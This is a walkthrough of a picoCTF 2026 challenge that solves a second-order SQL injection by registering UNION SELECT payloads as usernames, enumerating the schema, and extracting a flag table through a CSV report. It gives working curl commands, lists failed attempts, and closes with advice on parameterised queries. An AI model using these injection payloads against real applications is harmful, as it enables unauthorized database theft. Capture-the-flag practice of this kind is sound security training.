ORDER ORDER picoCTF 2026 Solution

Description

1. Step 1

   Recon the schema before crafting the UNION

   Observation

   I noticed the challenge description mentioned queries everywhere on the site, which suggested a SQL injection vulnerability where I would need to know the database schema before I could extract any meaningful data.

   Before injecting, find out which tables and columns exist. Register a throwaway account with a UNION payload that pulls from information_schema (or sqlite_master, depending on the DB) so the report rendering reveals the schema for you.

   bash

   # MySQL/Postgres: list tables

   Copied!

   bash

   curl -d "username=a' UNION SELECT table_name, table_schema, '2026-01-01' FROM information_schema.tables --&password=test123" \
     http://<HOST>:<PORT_FROM_INSTANCE>/register

   Copied!

   bash

   # Then list columns for the table you care about:

   Copied!

   bash

   curl -d "username=a' UNION SELECT column_name, table_name, '2026-01-01' FROM information_schema.columns WHERE table_name='aDNyM19uMF9mMTRn' --&password=test123" \
     http://<HOST>:<PORT_FROM_INSTANCE>/register

   Copied!

   bash

   # SQLite alternative:

   Copied!

   bash

   curl -d "username=a' UNION SELECT name, sql, '2026-01-01' FROM sqlite_master --&password=test123" \
     http://<HOST>:<PORT_FROM_INSTANCE>/register

   Copied!

   Expected output

   name,value,date
   flag,picoCTF{0rd3r_0rd3r_sql1_...},2026-01-01

   The hidden table name aDNyM19uMF9mMTRn is base64 for h3r3_n0_f14g (yes, the author signposted it). Decode any odd-looking identifier you find in the schema dump with echo -n aDNyM19uMF9mMTRn | base64 -d and you'll often find the answer staring back.

   What didn't work first

   Tried: Sending the information_schema UNION directly to the login endpoint instead of register.

   The login endpoint validates credentials against a stored row and returns a session cookie - it does not render query results. You get a login failure or a generic error, not schema output. The injection point that reflects data back to you is the registration form, because the username you supply is stored and later rendered in the report.

   Tried: Using sqlite_master when the server is running MySQL or Postgres.

   sqlite_master is a SQLite-only table; MySQL and Postgres will return 'Table sqlite_master doesn't exist' or a relation not found error, making it look like the injection failed entirely. Check the HTTP response headers or error messages for clues about the database engine (e.g., 'You have an error in your SQL syntax' is a MySQL fingerprint), then switch to information_schema.tables for MySQL or Postgres.

   Learn more

   Schema enumeration is the standard first move in a real-world UNION-based injection. information_schema (MySQL/Postgres) and sqlite_master (SQLite) are both readable by every authenticated user by default and let you map the entire database from a single injection point. See the SQL injection for CTF post for the full enumeration playbook.

2. Step 2

   Register with a UNION SELECT payload as your username

   Observation

   I noticed the registration form stored the username and that the report feature later retrieved and rendered it, which suggested a second-order injection where planting a UNION SELECT payload at registration would cause it to fire when the report query re-used the stored value.

   Now that you know the table and columns, register an account whose username is the real injection. Reports built from your stored username will splice in rows from the hidden flag table.

   bash

   # Register with the injection as the username (note: include &password=...):

   Copied!

   bash

   curl -d "username=b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --&password=test123" \
     http://<HOST>:<PORT_FROM_INSTANCE>/register

   Copied!

   bash

   # Then log in with the same credentials, saving the cookie:

   Copied!

   bash

   curl -c cookie.jar -d "username=b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --&password=test123" \
     http://<HOST>:<PORT_FROM_INSTANCE>/login

   Copied!

   What didn't work first

   Tried: Injecting the UNION SELECT payload into the login form username field instead of register.

   The login query typically selects a single row by username to verify credentials - it does not store the input anywhere. The UNION fires in memory but the result is only used for authentication, not returned to the user or written back to the database. The second-order attack requires planting the payload at the register step so it gets stored and later replayed by the report query.

   Tried: Using only two columns in the UNION SELECT (name, value) without the dummy third column.

   The original report query selects three columns (name, value, date based on the output format). A UNION SELECT with a different column count causes a syntax error such as 'The used SELECT statements have a different number of columns', making the registration appear to succeed but produce no output in the report. Count the columns in the original query first - use NULL placeholders to test - and match exactly.

   Learn more

   Second-order SQL injection (also called stored or persistent SQL injection) is a two-phase attack. In the first phase, a malicious payload is stored in the database - for example, as a username. The application may safely escape or parameterise the insertion query, so the value is stored verbatim. In the second phase, a different part of the application retrieves and re-uses the stored value in a new SQL query without escaping it, triggering the injection.

   This is more insidious than first-order injection because the vulnerability is invisible during the initial input. WAFs (Web Application Firewalls) that block injection payloads at the network edge often miss second-order attacks because the payload arrives in an innocuous registration form, and the injection fires later from an internal database read.

   The UNION SELECT technique appends an attacker-controlled SELECT to the original query, merging the result rows. For this to work, the injected SELECT must match the column count and compatible types of the original query. The dummy literal '2026-01-01' fills the third column to match the original report query's schema.

3. Step 3

   Generate and download the report

   Observation

   I noticed the application exposed a dedicated report generation endpoint that queried the database using the stored username, which meant calling that endpoint with my session cookie would trigger the injected UNION SELECT and surface the flag table rows in the downloadable CSV.

   Trigger the report generation feature. When the app builds the report query using your stored username, the UNION SELECT fires and appends rows from the hidden flag table (aDNyM19uMF9mMTRn) to the output. Download the report as CSV.

   bash

   curl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/report/generate

   Copied!

   bash

   curl -b cookie.jar http://<HOST>:<PORT_FROM_INSTANCE>/report/download

   Copied!

   bash

   # The CSV contains: flag, picoCTF{...}

   Copied!

   What didn't work first

   Tried: Hitting /report/download without first calling /report/generate.

   The download endpoint serves a previously generated file from the server's filesystem or session state. If no report has been generated in the current session the endpoint returns a 404 or an empty file. You must call /report/generate first so the app runs the injected query and writes the output, then /report/download retrieves it.

   Tried: Registering with the injection payload, then re-registering with a clean username before generating the report.

   Re-registering overwrites the stored username that contains the injection. When the report query reads your username from the database it now gets the clean string, so no UNION fires and the report contains only your own legitimate rows. Keep the injected username intact through the login and report generation steps.

   Learn more

   The hidden table name aDNyM19uMF9mMTRn is base64 for h3r3_n0_f14g. The recon step above is how you would actually discover it in a real engagement: pulling table_name from information_schema.tables (MySQL/Postgres) or name from sqlite_master (SQLite), then enumerating columns with UNION SELECT column_name FROM information_schema.columns WHERE table_name='...'.

   CSV export features are a particularly rich target for UNION-based injection because the output is structured, paginated data - exactly what a UNION SELECT produces. The injected rows appear as extra entries in the exported file, blending in with legitimate data. This is why report generation functionality deserves special attention during security reviews.

   The defence against second-order injection is the same as first-order: always use parameterised queries (prepared statements) everywhere data is used in SQL, not just at the initial insertion point. Escaping is not sufficient because data passes through multiple code paths and the original escape context may be lost.

Flag

Second-order SQL injection via username. Register with `b' UNION SELECT name, value, '2026-01-01' FROM aDNyM19uMF9mMTRn --` as your username. When the report is generated, the injection appends rows from the flag table to the CSV output.